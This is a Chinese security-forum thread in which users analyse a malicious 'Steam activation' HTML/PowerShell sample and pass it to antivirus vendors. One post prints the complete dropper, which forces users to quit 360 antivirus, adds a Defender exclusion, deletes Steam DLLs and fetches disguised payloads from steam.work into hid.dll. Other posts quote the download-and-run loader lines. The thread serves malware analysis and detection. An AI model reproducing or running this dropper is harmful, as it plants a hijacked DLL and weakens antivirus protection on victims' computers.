赛博花柳病 黑dll

QVM360

这玩意不是html文本吗，怎么是ps1

hsks

QVM360 发表于 2024-7-13 22:39
这玩意不是html文本吗，怎么是ps1

我看triage用ps1脚本能运行就改成ps1后缀了（

ANY.LNK

QVM360 发表于 2024-7-13 22:39
这玩意不是html文本吗，怎么是ps1

这不会是Steam的页面吧，页面标题是Welcome To Steam

QVM360

hsks 发表于 2024-7-13 22:48
我看triage用ps1脚本能运行就改成ps1后缀了（

我实体机双击运行没运行成功

hsks

QVM360 发表于 2024-7-13 22:50
我实体机双击运行没运行成功

看了下，还真是html文本
我把隔壁锁下，这个帖子贴的是最终的dll

hsks

QVM360 发表于 2024-7-13 22:50
我实体机双击运行没运行成功

找到ps1样本了，但payload可能拉不下来了
https://www.virustotal.com/gui/f ... d2bad7bd6/detection

QVM360

hsks 发表于 2024-7-13 23:03
找到ps1样本了，但payload可能拉不下来了
https://www.virustotal.com/gui/file/247d3536678aa724d7483a ...

1. cls
   
2. Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r" -ForegroundColor:blue
   
3. Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r" -ForegroundColor:blue
   
4. Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r" -ForegroundColor:blue
   
5. Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r" -ForegroundColor:blue
   
6. Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r" -ForegroundColor:blue
   
7. Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r" -ForegroundColor:blue
   
8. Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r" -ForegroundColor:blue
   
9. Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r" -ForegroundColor:blue
   
10. Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r" -ForegroundColor:blue
    
11. Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r" -ForegroundColor:blue
    
12. Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r" -ForegroundColor:blue
    
13. Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r" -ForegroundColor:blue
    
14. Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r" -ForegroundColor:blue
    
15. Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r" -ForegroundColor:blue
    
16. Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r" -ForegroundColor:blue
    
17. Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r" -ForegroundColor:blue
    
18. Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r" -ForegroundColor:blue
    
19. Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r" -ForegroundColor:blue
    
20. Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r" -ForegroundColor:blue
    
21. Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r" -ForegroundColor:blue
    
22. Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r" -ForegroundColor:blue
    
23. 
    
24. $filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
    
25. if (Test-Path $filePathToDelete) {
    
26.     Remove-Item -Path $filePathToDelete
    
27. }
    
28. $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
    
29. if (Test-Path $desktopFilePathToDelete) {
    
30.     Remove-Item -Path $desktopFilePathToDelete
    
31. }
    
32. 
    
33. $steamRegPath = 'HKCU:\Software\Valve\Steam'
    
34. $localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
    
35. if ((Test-Path $steamRegPath)) {
    
36.     $properties = Get-ItemProperty -Path $steamRegPath
    
37.     if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
    
38.         $steamPath = $properties.SteamPath
    
39.     }
    
40. }
    
41. 
    
42. if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    
43.     Write-Host "[请重新打开Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
    
44.     exit
    
45. }
    
46. 
    
47. function PwStart() {
    
48.     if(Get-Process "360Tray*" -ErrorAction Stop){
    
49.         while(Get-Process 360Tray* -ErrorAction Stop){
    
50.             Write-Host "[请先退出360安全卫士]" -ForegroundColor:Red
    
51.             Start-Sleep 1.5
    
52.         }
    
53.         PwStart
    
54. 
    
55.     }
    
56.     if(Get-Process "360sd*" -ErrorAction Stop)
    
57.     {
    
58.         while(Get-Process 360sd* -ErrorAction Stop){
    
59.             Write-Host "[请先退出360杀毒]" -ForegroundColor:Red
    
60.             Start-Sleep 1.5
    
61.         }
    
62.         PwStart
    
63.     }
    
64. 
    
65.     if ($steamPath -eq ""){
    
66.         Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red
    
67.         exit
    
68.     }
    
69.     Write-Host "[ServerStart        OK]" -ForegroundColor:green
    
70.     Stop-Process -Name steam* -Force -ErrorAction Stop
    
71.     Start-Sleep 2
    
72.     if(Get-Process steam* -ErrorAction Stop){
    
73.         TASKKILL /F /IM "steam.exe" | Out-Null
    
74.         Start-Sleep 2
    
75.     }
    
76. 
    
77.     if (!(Test-Path $localPath)) {
    
78.         md $localPath | Out-Null
    
79.         if (!(Test-Path $localPath)) {
    
80.             New-Item $localPath -ItemType directory -Force | Out-Null
    
81.         }
    
82.     }
    
83. 
    
84.     $catchPath = -join ($steamPath,"\package\data")
    
85.     if ((Test-Path $catchPath)) {
    
86.         if ((Test-Path $catchPath)) {
    
87.             Remove-Item $catchPath -Recurse -Force | Out-Null
    
88.         }
    
89.     }
    
90. 
    
91.     try{
    
92.         Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
    
93.         Start-Sleep 3
    
94.     }catch{}
    
95. 
    
96.     Write-Host "[Result->0          OK]" -ForegroundColor:green
    
97. 
    
98.     try{
    
99.         $d = $steamPath + "/version.dll"
    
100.         if (Test-Path $d) {
     
101.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
     
102.         }
     
103.         $d = $steamPath + "/user32.dll"
     
104.         if (Test-Path $d) {
     
105.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
     
106.         }
     
107.         $d = $steamPath + "/steam.cfg"
     
108.         if (Test-Path $d) {
     
109.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
     
110.         }
     
111.         $d = $steamPath + "/hid.dll"
     
112.         if (Test-Path $d) {
     
113.             Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
     
114.         }
     
115.     }catch{
     
116.         Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
     
117.         exit
     
118.     }
     
119. 
     
120.     $downloadData = "http://steam.work/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
     
121.     $downloadLink = "http://steam.work/pwsDwFile/9b96dac2bb0ba18d56068fabc5b17185.pdf"
     
122.    
     
123.     irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
     
124.     Write-Host "[Result->1          OK]" -ForegroundColor:green
     
125.     $d = $localPath + "/hid"
     
126.     irm -Uri $downloadData -OutFile $d -ErrorAction Stop
     
127.     Write-Host "[Result->2          OK]" -ForegroundColor:green
     
128.    
     
129.     Start-Sleep 1
     
130. 
     
131.     Start steam://
     
132.     Write-Host "[连接服务器成功请在Steam输入激活码 3秒后自动关闭]" -ForegroundColor:green
     
133.     Start-Sleep 3
     
134.    
     
135.     $processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
     
136.     Stop-Process -Id $processID.ParentProcessId -Force
     
137.     exit
     
138. 
     
139. }
     
140. 
     
141. PwStart

复制代码

00006666

hsks 发表于 2024-7-13 23:03
找到ps1样本了，但payload可能拉不下来了
https://www.virustotal.com/gui/file/247d3536678aa724d7483a ...

相关IP的通信样本能找到52个，行为基本差不多

https://ti.qianxin.com/v2/search?type=ip&value=1.198.4.249

Eset小粉絲

html 嵌入 powershell
Line 29 irm steam.work/pwsDwFile/new -OutFile x.ps1
Line 230 powershell.exe -ExecutionPolicy Bypass -File x.ps1;
Anyway

New malicious software was found in the attached file. Its detection will be included in the next update.
Thank you for your help.

Best regards, Denis Sitchikhin, Malware Analyst

hsks

Eset小粉絲 发表于 2024-7-13 23:15
html 嵌入 powershell
Line 29 irm steam.work/pwsDwFile/new -OutFile x.ps1
Line 230 powershell.exe - ...

所以那个html还是恶意的？